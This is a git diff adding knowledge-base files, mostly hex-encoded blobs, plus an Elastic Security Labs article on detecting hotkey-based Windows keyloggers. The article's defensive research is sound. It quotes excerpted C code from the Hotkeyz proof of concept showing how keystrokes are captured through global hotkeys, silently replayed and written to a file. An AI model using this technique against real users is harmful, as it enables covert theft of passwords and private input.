71276e7ee5f10b8550bf0cab739b901c9dbacfbb05be9f0e200c949c8cb03957fd01ad947d6c7ed0cb2b69a2f43438c8389befa6954b7650d046676b444c9abe2d9dd3c2b80bc0fa1bff487b741aef2dafa786423aba1446678197b80a3d29a618344f71cb60264b186a154abd225bf93ccee270adb88499cdded0a355e09aaf9ca5cb592d1bb444ec822054cbf5f2ae4588b7dc47a7fe21201dc6f9cd551ba10e2437aecd4218e031ba2a47341c9e17278606a8448726160bc68c75578b395cdeeb24d7a735a04aba2efc09c86966b11c1b296099346bd1ed17c9a3c90f05e5e99b5626fd2f73f3fe940d6a57de84bc8b426a429d1e13d13b24f5b76f6eff980ecea3b1492b4583d284fb1484aca0c100dc7e404abd10823c280e8f7cbac616eb579f49e869593477853117917f22f99b7f57c47ee32134a87fc7a0b470dd8ef35fe1ad1aac5c8b3642b6aac7b3fcd13cea340c57864147fd534fbfd560423ca6bd1cb31202d636950619e7ec1109bbff3a2d2a7a00f7a543420d691c8b1352bf83ade7fc3b244adfadc892d4ac78914325fc4bcf25dd010647ad6f8b5bac7b3a16e476ad3a307552bd6ba622d6ec20b2e27a2d6a1037ea0ec9de907678d2679f8e59dd1f2c818c3c13f608c2996a021f9ced069d4a76d4d20a1c911639f820f704f18551a202c592c424636337ac1ed856c1a1d8a07c67122249fed0447eeb4e177e050e500edd3f8a35e96c10041aa1c1001c4ccd6cfe0d93e6f91414217378ae3d96454590d8a253566eaa7458e4baa0980863e90141b1320cc082c171fd6a409921ba94c42aa67b24b61ad8091fd0e83a8989c0f7a0e7245ac17aa7cf07080f1684c89e3721648c8dfed118db9438cf645bebcac9c87a70a3740dcf801d63b73be0090e61e7d5361ff3eb92e31c654b052a1a6c04a76cd16f0e963b765b4d5cd55f2268ae7694a2cd6a0ed86fda5dfe8fa8d450ba9e492b9cb983aaf94fc9fad604758d4c61c181faa0ce843c1a7d2830e56aca54d3b758f3d1f34d68f4913a556ff292d7589b90c02030a6fd3487e9667daed5ffd78809f78424e8b840136705a2d44e04da25263e8961d8b632dac17b5e485dadce7d6a8719196ed67655ebdfd7857e6dbd1232a9b38c6b2a0e300ea1535cd73a8fd8d920cd1410a80e096f19d75226d7e377282910778b07caacd1fec17e66c9fb5b92b27e96192bab314aafc9f6d587c2463bf93f003b8f878d31c72d29f0575fcede6f6d78d230a9ee573cc9b98a913f639ad8910c9bdda84a3129ed16d85b5a35f5e8ff04738f5d404a84bb17519a2192868bff221f843cc5187073cdc117bda0fdae9f600410c7f363a4d7061f18efe2cbd75dbbe5d123f6dd63351f724fca7087a4d4125c6c7ff2d8d6a6c4ae9a75c7e63e580766b97f0ffc5ee3504ebfc4bbcd41d97317c8c915c9c5947cf5701191bc90c376b12d21db9a101906bde0aeed5ce42926eb08d38c82f46794c8313c5f038ad7c3730b51f9db6fabee18e0e74 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers.md new file mode 100644 index 0000000000000..74d657c7d5161 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers.md @@ -0,0 +1,233 @@ +--- +title: "Detecting Hotkey-Based Keyloggers Using an Undocumented Kernel Data Structure" +slug: "detecting-hotkey-based-keyloggers" +date: "2025-03-04" +description: "In this article, we explore what hotkey-based keyloggers are and how to detect them. Specifically, we explain how these keyloggers intercept keystrokes, then present a detection technique that leverages an undocumented hotkey table in kernel space." +author: +- slug: asuka-nakajima +image: "Security Labs Images 12.jpg" +category: + - slug: security-research + - slug: detection-science +tags: + - detection engineering + - threat detection +--- + +# Detecting Hotkey-Based Keyloggers Using an Undocumented Kernel Data Structure + +In this article, we explore what hotkey-based keyloggers are and how to detect them. Specifically, we explain how these keyloggers intercept keystrokes, then present a detection technique that leverages an undocumented hotkey table in kernel space. + +## Introduction + +In May 2024, Elastic Security Labs published [an article](https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection) highlighting new features added in [Elastic Defend](https://www.elastic.co/guide/en/integrations/current/endpoint.html) (starting with 8.12) to enhance the detection of keyloggers running on Windows. In that post, we covered four types of keyloggers commonly employed in cyberattacks — polling-based keyloggers, hooking-based keyloggers, keyloggers using the Raw Input Model, and keyloggers using DirectInput — and explained our detection methodology. In particular, we introduced a behavior-based detection method using the Microsoft-Windows-Win32k provider within [Event Tracing for Windows](https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-) (ETW). + +Shortly after publication, we were honored to have our article noticed by [Jonathan Bar Or](https://jonathanbaror.com/), Principal Security Researcher at Microsoft. He provided invaluable feedback by pointing out the existence of hotkey-based keyloggers and even shared proof-of-concept (PoC) code with us. Leveraging his PoC code [Hotkeyz](https://github.com/yo-yo-yo-jbo/hotkeyz) as a starting point, this article presents one potential method for detecting hotkey-based keyloggers. + +## Overview of Hotkey-based Keyloggers + +### What Is a Hotkey? + +Before delving into hotkey-based keyloggers, let’s first clarify what a hotkey is. A hotkey is a type of keyboard shortcut that directly invokes a specific function on a computer by pressing a single key or a combination of keys. For example, many Windows users press **Alt \+ Tab** to switch between tasks (or, in other words, windows). In this instance, **Alt \+ Tab** serves as a hotkey that directly triggers the task-switching function. + +*(Note: Although other types of keyboard shortcuts exist, this article focuses solely on hotkeys. Also, **all information herein is based on Windows 10 version 22H2 OS Build 19045.5371 without virtualization based security**. Please note that the internal data structures and behavior may differ in other versions of Windows.)* + +### Abusing Custom Hotkey Registration Functionality + +In addition to using the pre-configured hotkeys in Windows as shown in the previous example, you can also register your own custom hotkeys. There are various methods to do this, but one straightforward approach is to use the Windows API function [**RegisterHotKey**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerhotkey), which allows a user to register a specific key as a hotkey. For instance, the following code snippet demonstrates how to use the **RegisterHotKey** API to register the **A** key (with a [virtual-key code](https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes) of 0x41) as a global hotkey: + +```c +/* +BOOL RegisterHotKey( + [in, optional] HWND hWnd, + [in] int id, + [in] UINT fsModifiers, + [in] UINT vk +); +*/ +RegisterHotKey(NULL, 1, 0, 0x41); +``` + +After registering a hotkey, when the registered key is pressed, a [**WM\_HOTKEY**](https://learn.microsoft.com/en-us/windows/win32/inputdev/wm-hotkey) message is sent to the message queue of the window specified as the first argument to the **RegisterHotKey** API (or to the thread that registered the hotkey if **NULL** is used). The code below demonstrates a message loop that uses the [**GetMessage**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getmessage) API to check for a **WM\_HOTKEY** message in the [message queue](https://learn.microsoft.com/en-us/windows/win32/winmsg/about-messages-and-message-queues), and if one is received, it extracts the virtual-key code (in this case, 0x41) from the message. + +```c +MSG msg = { 0 }; +while (GetMessage(&msg, NULL, 0, 0)) { + if (msg.message == WM_HOTKEY) { + int vkCode = HIWORD(msg.lParam); + std::cout << "WM_HOTKEY received! Virtual-Key Code: 0x" + << std::hex << vkCode << std::dec << std::endl; + } +} +``` + +In other words, imagine you're writing something in a notepad application. If the A key is pressed, the character won't be treated as normal text input — it will be recognized as a global hotkey instead. + +In this example, only the A key is registered as a hotkey. However, you can register multiple keys (like B, C, or D) as separate hotkeys at the same time. This means that any key (i.e., any virtual-key code) that can be registered with the **RegisterHotKey** API can potentially be hijacked as a global hotkey. A hotkey-based keylogger abuses this capability to capture the keystrokes entered by the user. + +Based on our testing, we found that not only alphanumeric and basic symbol keys, but also those keys when combined with the SHIFT modifier, can all be registered as hotkeys using the **RegisterHotKey** API. This means that a keylogger can effectively monitor every keystroke necessary to steal sensitive information. + +### Capturing Keystrokes Stealthily + +Let's walk through the actual process of how a hotkey-based keylogger captures keystrokes, using the Hotkeyz hotkey-based keylogger as an example. + +In Hotkeyz, it first registers each alphanumeric virtual-key code — and some additional keys, such as **VK\_SPACE** and **VK\_RETURN** — as individual hotkeys by using the **RegisterHotKey** API. + +Then, inside the keylogger's message loop, the [**PeekMessageW**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-peekmessagew) API is used to check whether any **WM\_HOTKEY** messages from these registered hotkeys have appeared in the message queue. When a **WM\_HOTKEY** message is detected, the virtual-key code it contains is extracted and eventually saved to a text file. Below is an excerpt from the message loop code, highlighting the most important parts. + +```c +while (...) +{ + // Get the message in a non-blocking manner and poll if necessary + if (!PeekMessageW(&tMsg, NULL, WM_HOTKEY, WM_HOTKEY, PM_REMOVE)) + { + Sleep(POLL_TIME_MILLIS); + continue; + } +.... + // Get the key from the message + cCurrVk = (BYTE)((((DWORD)tMsg.lParam) & 0xFFFF0000) >> 16); + + // Send the key to the OS and re-register + (VOID)UnregisterHotKey(NULL, adwVkToIdMapping[cCurrVk]); + keybd_event(cCurrVk, 0, 0, (ULONG_PTR)NULL); + if (!RegisterHotKey(NULL, adwVkToIdMapping[cCurrVk], 0, cCurrVk)) + { + adwVkToIdMapping[cCurrVk] = 0; + DEBUG_MSG(L"RegisterHotKey() failed for re-registration (cCurrVk=%lu, LastError=%lu).", cCurrVk, GetLastError()); + goto lblCleanup; + } + // Write to the file + if (!WriteFile(hFile, &cCurrVk, sizeof(cCurrVk), &cbBytesWritten, NULL)) + { +.... +``` + +One important detail is this: to avoid alerting the user to the keylogger's presence, once the virtual-key code is extracted from the message, the key's hotkey registration is temporarily removed using the [**UnregisterHotKey**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-unregisterhotkey) API. After that, the key press is simulated with [**keybd\_event**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-keybd_event) so that it appears to the user as if the key was pressed normally. Once the key press is simulated, the key is re-registered using the **RegisterHotKey** API to wait for further input. This is the core mechanism behind how a hotkey-based keylogger operates. + +## Detecting Hotkey-Based Keyloggers + +Now that we understand what hotkey-based keyloggers are and how they operate, let's explain how to detect them. + +### ETW Does Not Monitor the RegisterHotKey API + +Following the approach described in an earlier article, we first investigated whether [Event Tracing for Windows](https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing) (ETW) could be used to detect hotkey-based keyloggers. Our research quickly revealed that ETW currently does not monitor the **RegisterHotKey** or **UnregisterHotKey** APIs. In addition to reviewing the manifest file for the Microsoft-Windows-Win32k provider, we reverse-engineered the internals of the **RegisterHotKey** API — specifically, the **NtUserRegisterHotKey** function in win32kfull.sys. Unfortunately, we found no evidence that these APIs trigger any ETW events when executed. + +The image below shows a comparison between the decompiled code for **NtUserGetAsyncKeyState** (which is monitored by ETW) and **NtUserRegisterHotKey**. Notice that at the beginning of **NtUserGetAsyncKeyState**, there is a call to **EtwTraceGetAsyncKeyState** — a function associated with logging ETW events — while **NtUserRegisterHotKey** does not contain such a call. + +![Figure 1: Comparison of the Decompiled Code for **NtUserGetAsyncKeyState** and **NtUserRegisterHotKey**](/assets/images/detecting-hotkey-based-keyloggers/image3.png) +  + Although we also considered using ETW providers other than Microsoft-Windows-Win32k to indirectly monitor calls to the **`RegisterHotKey`** API, we found that the detection method using the "hotkey table" — which will be introduced next and does not rely on ETW — achieves results that are comparable to or even better than monitoring the **`RegisterHotKey`** API. In the end, we chose to implement this method. + +### Detection Using the Hotkey Table (**gphkHashTable**) + +After discovering that ETW cannot directly monitor calls to the **RegisterHotKey** API, we started exploring detection methods that don't rely on ETW. During our investigation, we wondered, "Isn't the information for registered hotkeys stored somewhere? And if so, could that data be used for detection?" Based on that hypothesis, we quickly found a hash table labeled **gphkHashTable** within **NtUserRegisterHotKey**. Searching Microsoft's online documentation revealed no details on **gphkHashTable**, suggesting that it's an undocumented kernel data structure. + +![Figure 2: The hotkey table (**gphkHashTable**), discovered within the **RegisterHotKey** function called inside **NtUserRegisterHotKey**](/assets/images/detecting-hotkey-based-keyloggers/image1.png) + +Through reverse engineering, we discovered that this hash table stores objects containing information about registered hotkeys. Each object holds details such as the virtual-key code and modifiers specified in the arguments to the **RegisterHotKey** API. The right side of Figure 3 shows part of the structure definition for a hotkey object (named **HOT\_KEY**), while the left side displays how the registered hotkey objects appear when accessed via WinDbg. + +![Figure 3: Hotkey Object Details. WinDbg view (left) and HOT\_KEY structure details (right)](/assets/images/detecting-hotkey-based-keyloggers/image4.png) + +We also determined that **ghpkHashTable** is structured as shown in Figure 4\. Specifically, it uses the result of the modulo operation (with 0x80) on the virtual-key code (specified by the RegisterHotKey API) as the index into the hash table. Hotkey objects sharing the same index are linked together in a list, which allows the table to store and manage hotkey information even when the virtual-key codes are identical but the modifiers differ. + +![Figure 4: Structure of **gphkHashTable**](/assets/images/detecting-hotkey-based-keyloggers/image6.png) + +In other words, by scanning all HOT\_KEY objects stored in **ghpkHashTable**, we can retrieve details about every registered hotkey. If we find that every main key — for example, each individual alphanumeric key — is registered as a separate hotkey, that strongly indicates the presence of an active hotkey-based keylogger. + +## Implementing the Detection Tool + +Now, let's move on to implementing the detection tool. Since **gphkHashTable** resides in the kernel space, it cannot be accessed by a user-mode application. For this reason, it was necessary to develop a device driver for detection. More specifically, we decided to develop a device driver that obtains the address of **gphkHashTable** and scans through all the hotkey objects stored in the hash table. If the number of alphanumeric keys registered as hotkeys exceeds a predefined threshold, it will alert us to the potential presence of a hotkey-based keylogger. + +### How to Obtain the Address of **gphkHashTable** + +While developing the detection tool, one of the first challenges we faced was how to obtain the address of **gphkHashTable**. After some consideration, we decided to extract the address directly from an instruction in the **win32kfull.sys** driver that accesses **gphkHashTable**. + +Through reverse engineering, we discovered that within the IsHotKey function — right at the beginning — there is a lea instruction (lea rbx, **gphkHashTable**) that accesses **gphkHashTable**. We used the opcode byte sequence (0x48, 0x8d, 0x1d) from that instruction as a signature to locate the corresponding line, and then computed the address of **gphkHashTable** using the obtained 32-bit (4-byte) offset. + +![Figure 5: Inside the **IsHotKey** function](/assets/images/detecting-hotkey-based-keyloggers/image5.png) + +Additionally, since **IsHotKey** is not an exported function, we also need to know its address before looking for **gphkHashTable**. Through further reverse engineering, we discovered that the exported function **EditionIsHotKey** calls the **IsHotKey** function. Therefore, we decided to compute the address of IsHotKey within the **EditionIsHotKey** function using the same method described earlier. (For reference, the base address of **win32kfull.sys** can be found using the **PsLoadedModuleList** API.) + +### Accessing the Memory Space of **win32kfull.sys** + +Once we finalized our approach to obtaining the address of **gphkHashTable**, we began writing code to access the memory space of **win32kfull.sys** to retrieve that address. One challenge we encountered at this stage was that win32kfull.sys is a *session driver*. Before proceeding further, here’s a brief, simplified explanation of what a *session* is. + +In Windows, when a user logs in, a separate session (with session numbers starting from 1) is assigned to each user. Simply put, the first user to log in is assigned **Session 1**. If another user logs in while that session is active, that user is assigned **Session 2**, and so on. Each user then has their own desktop environment within their assigned session. + +Kernel data that must be managed separately for each session (i.e., per logged-in user) is stored in an isolated area of kernel memory called *session space*. This includes GUI objects managed by win32k drivers, such as windows and mouse/keyboard input data, ensuring that the screen and input remain properly separated between users. + +*(This is a simplified explanation. For a more detailed discussion on sessions, please refer to [James Forshaw’s blog post](https://googleprojectzero.blogspot.com/2016/01/raising-dead.html).)* + +![Figure 6: Overview of Sessions. Session 0 is dedicated exclusively to service processes](/assets/images/detecting-hotkey-based-keyloggers/image2.png) + +Based on the above, **win32kfull.sys** is known as a *session driver*. This means that, for example, hotkey information registered in the session of the first logged-in user (Session 1) can only be accessed from within that same session. So, how can we work around this limitation? In such cases, [it is known](https://eversinc33.com/posts/kernel-mode-keylogging.html) that [**KeStackAttachProcess**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-kestackattachprocess) can be used. + +**KeStackAttachProcess** allows the current thread to temporarily attach to the address space of a specified process. If we can attach to a GUI process in the target session — more precisely, a process that has loaded **win32kfull.sys** — then we can access **win32kfull.sys** and its associated data within that session. For our implementation, assuming that only one user is logged in, we decided to locate and attach to **winlogon.exe**, the process responsible for handling user logon operations. + +### Enumerating Registered Hotkeys + +Once we have successfully attached to the winlogon.exe process and determined the address of **gphkHashTable**, the next step is simply scanning **gphkHashTable** to check the registered hotkeys. Below is an excerpt of that code: + +```c +BOOL CheckRegisteredHotKeys(_In_ const PVOID& gphkHashTableAddr) +{ +-[skip]- + // Cast the gphkHashTable address to an array of pointers. + PVOID* tableArray = static_cast(gphkHashTableAddr); + // Iterate through the hash table entries. + for (USHORT j = 0; j < 0x80; j++) + { + PVOID item = tableArray[j]; + PHOT_KEY hk = reinterpret_cast(item); + if (hk) + { + CheckHotkeyNode(hk); + } + } +-[skip]- +} + +VOID CheckHotkeyNode(_In_ const PHOT_KEY& hk) +{ + if (MmIsAddressValid(hk->pNext)) { + CheckHotkeyNode(hk->pNext); + } + + // Check whether this is a single numeric hotkey. + if ((hk->vk >= 0x30) && (hk->vk <= 0x39) && (hk->modifiers1 == 0)) + { + KdPrint(("[+] hk->id: %u hk->vk: %x\n", hk->id, hk->vk)); + hotkeyCounter++; + } + // Check whether this is a single alphabet hotkey. + else if ((hk->vk >= 0x41) && (hk->vk <= 0x5A) && (hk->modifiers1 == 0)) + { + KdPrint(("[+] hk->id: %u hk->vk: %x\n", hk->id, hk->vk)); + hotkeyCounter++; + } +-[skip]- +} +.... +if (CheckRegisteredHotKeys(gphkHashTableAddr) && hotkeyCounter >= 36) +{ + detected = TRUE; + goto Cleanup; +} +``` + +The code itself is straightforward: it iterates through each index of the hash table, following the linked list to access every **HOT\_KEY** object, and checks whether the registered hotkeys correspond to alphanumeric keys without any modifiers. In our detection tool, if every alphanumeric key is registered as a hotkey, an alert is raised, indicating the possible presence of a hotkey-based keylogger. For simplicity, this implementation only targets alphanumeric key hotkeys, although it would be easy to extend the tool to check for hotkeys with modifiers such as **SHIFT**. + +### Detecting Hotkeyz + +The detection tool (Hotkey-based Keylogger Detector) has been released below. Detailed usage instructions are provided as well. Additionally, this research was presented at [NULLCON Goa 2025](https://nullcon.net/goa-2025/speaker-windows-keylogger-detection), and the [presentation slides](https://docs.google.com/presentation/d/1B0Gdfpo-ER2hPjDbP_NNoGZ8vXP6X1_BN7VZCqUgH8c/edit?usp=sharing) are available. + +[https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector](https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector) + +The following is a demo video showcasing how the Hotkey-based Keylogger Detector detects Hotkeyz. + +[DEMO\_VIDEO.mp4](https://drive.google.com/file/d/1koGLqA5cPlhL8C07MLg9VDD9-SW2FM9e/view?usp=drive_link) + +## Acknowledgments + +We would like to express our heartfelt gratitude to Jonathan Bar Or for reading our previous article, sharing his insights on hotkey-based keyloggers, and generously publishing the PoC tool **Hotkeyz**. \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers_jp.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers_jp.encoded.md new file mode 100644 index 0000000000000..b36d0af62ba20 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers_jp.encoded.md @@ -0,0 +1 @@ +129a3210324679fe62dbd7cbe5a2bae110048475944bd71343f4fefa9d39e4181fd5298c8f6731c075e0b7f70ef3e8f857889c8b1114cda6cd60105b9bc5abf213783ee8d097e9ac4675127df9802a1512ebcf984a35ab34db6ceb7eec0f4efb4e14e29699c6132ae765421ddd042ac22aa4fc83162425c640aa85aafc6364b0a11761e1bf482a780985351d12ca04b40cf0e6544e8c0545e58b44a7af12a3057bf1577529a5093e8e0ecb76b1e686b091d535ed570737d60dbf2caa29cef1d4782c8498bc34d686c6d5c8bcefda4a0b1cab1f680c047a51e464b25e4e5ae12cb79b9d2a99e401a6eea1f701959d8c984c1ddf2d5fad7b845d3f9c28403d59aa5ebcb976d1350648811120a39719ca741e95f36dd346aa3507c8754d82b11599419b7cca34e752e4f24a18453bd10d52c720a74062b67c16a3dc2ed3cf2dd4dfac525c161e19b64485f032825d986ecbf43872cdc5fd7f4e22bff3b2c42710e68a27bb07cc7c3dfaa1031340d644220b5f633a1e8e4a5515c81a2cba758e0d7bf9402c62931ffcd8ffeab7ca2dc6bde31898cd327466a949007e58222f5f664bdc743766377d20b3ebd4dc19dfd925962a3f61cbf328fbaf65886eb449df5e9cc9ef2c3b1a119abd16d3034f9d28614cf43258ac1a17791509cfd69ecc469127c852a5517e692f25e4f98d408768235bbf873fb3ce78e1b657512bcca9cac71d8360af8fad441b6bb5a23ecefa76dca4f641c329ea10f10f56f8d4ec17d1a1cea997984fd38312da13a7f46c01f8eb32f457b930bb3bb6588c376ef2f489cbe64ffd2111827bdca288d37dd07217f0ad777ca6fa836bbb5ac3ddf514612a793e7e6a05f5badd21247202279f3b9d7f37db217a30bbb3e6abbcffe05d6c23297428e9aeb7da638996472cc209bb66367a73b68d2ecd8602db28b290492169edb16e97da6122eecfeabce0cf39586ca5331dadd56e0326504a6050031ad9110ef7ae342b26a162765a11a0b1605471e35f44271ca6f05a0a338e1155b598492f26021e8c2206c6686f80389c16bf5fcd5e7d1f83760cfb4f82c8eb12fb93d18b51d400c3b33deef36346f7c4716a1d6432fd1ad913bec5d7487ea2cf0207daaa7d4f62c25339bb7ef8cddfd4287bae123e114e7e87d50a793a4a231c4d2e8557f39d2dafad86cb2549c0714ccfee961c875b1fd9cf974691337a3f540204ed193e010be42e7afdc564189167297bdd9f04e4328c31eb4716665a66e318b6d97ea4dd1cfebb7e55a74895f39e85fbefeff61221daaf011892ac84dcca494bd9dc247edfd6ee5b1809fb38cd0788d9f43f6577750cbc5db1da24b66011b69b94a396eb31fa0f6bb6bf932c6a8e453ea32c17c86ed0e2b656cd4017d839d1718083687796206d2816eb696c14c58eb13a1b424181dcd3279511610ef55ada0e45e0a5fd3ec6649b8135d58174c85c651024601cab1f680c047a51e464b25e4e5ae12c44795051f113df4484c0ed84aa121d783fa9b73f38149a022942f866382048001b4e9140dca1202ee326436db9f86a01ff730e4c7a980a625276f956f94e15404a71d318bfd190df8ededcf8d7ea1372b8e15174955945903b8a73b6720fc7dc1efe4445d3c7fbb26f2f45fcc21e64cbbe76de199d300f1ec314cf44ee9b38f9fdf812ad6084d62c6d5f8fb814085e69d7be32b737915c1f904f1894a9665e66361fabd5bdcb373605b7b6e726435053167001e6eb8fe4c31a45960832fd46459f7862619d06ab131f5b8b9924ad7c4c89edafaeb38760fa7887e630a6f00f74dec7f99a527a634120fde56ad883f1bcdd56462d32ac89980c9ac6082f27118a0582271109d29609f8b93ab24800a42ee89101c9480b966b459ea8ce9e1b616e12851d350b940b920809ae659fee31721cffb7fc574c4172329c1019f2c8d72df37cfa24e2c1827677e0938af9c23a156da34c66c58d4f5b9aa170f21197c6f32056723cc10e45afb043334b177805fb629686cf31a3105ac461b8d1dee92b6b52f7a3e237336b4ca13f3f3239eea435880ab92f2e84a7b40143477100b308cf63b1face4dc0a39413db4be5c5435b7ca3309f4e99b4478567ff754695eb27d85d465efe55031349fe4c894c725e6babb8a7a13b6c396756b2d80a587fe92ca83d8f3b01d954397fc28973c1955995bd29c249afe7250903fae63768a6730734c25c269d3bbd2e9ab0acd8cfb2ebbb6e476cc81dae954dda50c6f9439eac80b0b1d97f3da625402ec1ad291f7056078a44b04047d1df1fd618ea8428a17091fb77d72f5a18f3ab3f90c371efbb0b34588420894eeb42069f6a36153ff7894390a4a13364b24b24a446908e5ca8fbd4191763985060790dca417e6f9ccbffea7d446a9d560b8b8a9c924e4a068c100ed1c4b948cdf169760c572a3ac2d19f7b954a8f620bcba8128f734d47555081917d2db57030165a3d97c1b61a8e853ca36a5419607c0fc561b9fbc539c22d7913df39b803d89c3311657b2adce188b5ad52acc704a2fccfb5acb46c94912bb6a49ed125d98c1a96452209fafc3741403287fb350f7589148c36a2c643f5721d7aa2af70b677899033be782d40d05644c6ab0e3a9ede87e6fea4ed97c43c542ddaa31291cb41fd8eaf9b515bb2680b11e567cc4ddb1ff0b6bcc6913a32e7fdabc24d5466ce9a1836e7e744be4e4733226a8ba0df95717fa31bc86b2b5fd90a32328fbb8d7eaa01c72d5bf47abc26386d27fa03cea6790f1609ca78d554063fa9f60e0482d552e96ec21ad292c8841d2898976bd98f580f8c5759ae0ddaf177597455cc6211bbf69facbe1a74e2d440716731a997984fd38312da13a7f46c01f8eb329e391713358e6d1388dcfe96d228a607a78d65f9163649465af5f7b7eb7e4c5b36897475b2d5db2e68fd621dd6027d65004dbca0f80cb32e1b8b9078430b5da0bd09dc0fbaa02ea5ec423f33fe2c13332c8343c55d9058811c9bc8a9c9078ab56d32982c87938700346233bb1f8fd6d32b6f8c348f414aeab8dcfba070955d82e7edce8c6d1d9e277336c8498375ec045e445261ada6032db3d9693747473dc6255634251e80ba4183ba625e719667b2081dfbbb664df16739870563db5daa20b1ca5004ac8c36b030b488142e5c651d489ef13bb1a4d5bca42c9d417b6883c2807ee89b108209660028aab31f4b8d898ff2052ab7cf034b8e7ad702439fa33665f30b2ad01a0c40d52d4f5c5015f20d67c1d05bbb97f55e1e0edf84c3fdaa2d019124f47cee40da9eecb250e281fce3c11528f79aa72749527c9243fe8161c4116e0dd1ec98d08b09c1246971d08fd0f7b4d9aa17da75f1734b175b830062278456bd9814ae180da6a0785de15e32e9e92db9f7e3261b6cfb66255218b366ba7b752bd28d22dc1f3b6a5af2be6cfbda7b64614a18a8c32d637b3ca9a58f0c1bc329a01c47d12e625eed358ac33803f747dd665523466b8a91138e984753359eba7ba958e30a437a3bbe04ce444cca93a9efed173577f7525869cf43a5883273a6c879b2b7936ef7f0c2480174327dcd321282d8722e1d64eaa58efcaafde5bcfb350f7589148c36a2c643f5721d7aa2eb7b29c7626d45912d340abe34d1b0211ba5981d7a45d69ea782b1dd2a89f566f2c91ca20847d12466f88bf1400452b0902ac8581663891c98c153a0161a73ad787b1dc624c0a47496fe605485e3c0822a1ef8f212b77d01b992dd8b51427d7951673a181228ed62b6b4c486764d474e165a40c1490dbfbcf2d1f563f44e35302854635b300577a52af8b424a26ecde40532e6831b0f8b24a96c42e41e9d7c47321282d8722e1d64eaa58efcaafde5bcfb350f7589148c36a2c643f5721d7aa2ff72c2389ffe2ee5adbd6694c012b42045496cf176ce2161a215faf172112a724f3e6348611590198243f70c536baf820b79af957a454169dec1872f5fd4a8936bd6847b7a53dff31303549f49df811fcc56106f951b7121dd1ca150a4350e475d6f163fa6c091677a037272bd07f70df4ee4c87b2913697c8550fa06eaf1ccd6c22775b713d64177b9160730826fbe2cb7881812fa8fc9e7bdb0f5aa0f711f7e64502f63c1b64eb876f61fc683e2cf3ccfde81726d743d60334c235ac9dbd601cab1f680c047a51e464b25e4e5ae12ccdefaa355bdf9ff09f639419e9de7d0897800e7c0a4653d10fddde640bf8d4d54d274e487ac66dd3b0f5ebf4d1b97dda4134433bf27f19fcb7df658e3efb7c3d09b11569b735addeaa4a756e2f7c59dc1221daaf011892ac84dcca494bd9dc24cc08e68f0a0acd38b96e2df37b17575a8eaa12aad210f15bcbdb5ddc669dd8d1801a4722eb5e7e5a278be82ff2e572af4aa35691128614d82dcded4638dd842acc947cbd6c2d8439f0c272799bb16c96e82a935a21e68bcac59093bb98a05452382416bb71aa1f2061b01faccf66472a1da6775bc9f8151e567021a203a725ea06cd99b97998a4bd9bc6651e89a4a3da36d869abf8e636ff76ea48bdb583168363b41dc9171af7f3f6346b75d7821b8c155959a79c4f7eeec8ec73f5f5b6985e72786b584f37a52b46b8a790bc21a97b533202c725daf2dc6a5f1e7398d85383feed7e7d587e9a4fb1628d17402a5fe1bcf5010f3ca688799b4daeb20ca6323e1dcc0e93a5c2adc9cd6c698ab2fdc4f604a6132c2d28b4b67e408f05b4b9197563882a4f1c993cbe623d14a83adaa770ae3a1d035596b64598fc1f1c7ef5d65b9ae01392f494ba7e235498cd257ebed6f838533763cbf0f39e0e10de5ec5edcb4e21d24efef121d69e3f83c912a8fce6a28b6a071798845e2c54c1bd996104ffc8437baf6322f5afe07790a8c83ad11c54158f29e637026fda43b09dc977b5bc36dd91aab917e033b5833b635d9e307cd6c9ba0564c5ef22528b5e05af0f54cd6c39707eb63ceda97fddc299a9e8b0586da03dec61680b6c71d69a69d69e53bb2eb3a46cbb16586887f7b2f8194d76e61cf75d02fea66eb0cbb731a3f9c6cdb49129a1b29a4b1eb739c91d59fb03222897772feab99c4ce1190a513c275bcf318a9904fbc671451f20e338711ad55f009a6c684311f4af3ad1eddaaac0ffe0f3c663d6ccd9ec40ac77b3186637050bcbb74f40dd9b4bd8bb6c6533b003c9c7ae64c5f2ff98e26d657937dbc5097e22d1acc00bd80297a91a81aa1d1df8f43f0ce8213da361a1c88838e076238c71ade0b25cc356999757d98723f0b73c697eb406cd99b97998a4bd9bc6651e89a4a3da36d869abf8e636ff76ea48bdb583168306e6c9a43f7531641b92d47e61fcffb5e795fada19fbc9d66060ad518e96246d532242e37db4221d90d04947eab6b567ec5678c818fbb7c7076391e0241eb40660bceee3f4a18ef6423818e8018e8fa9b9a629923116b9cd039c228d60eca2d208bc7b0176d3abe2665ebf943c0d8de742fa9f4fb9ec4918898465a7a9b4ca0bf6d53c10e142e52166d1f9d7d1d2577a596b1c6777a10ed69ab869fc92a885f291fbdb521eda620d1a60b8706f3e0f5d8f593e277ab9b53fe5e02e563ee6ce8287f1ce3fea2499db035f37aef61849186113d8b459e363cd103be2ad3d06ff5e9b84cd5069085e7186f6897c6e78df8989c68a25272c6796b748869c2b43340dcef21721c27cadd780fe97a6ac8bde592212b78d88a815c0cdfd91445f693c91f996536bff4d76e237bd44d88ad8fb3f9062e7782416da69041137e0ee6174683d8ce0d841f8e51d0e757d7231d416446c39dcda7cfed2585497572cd48016d15ca3589b7d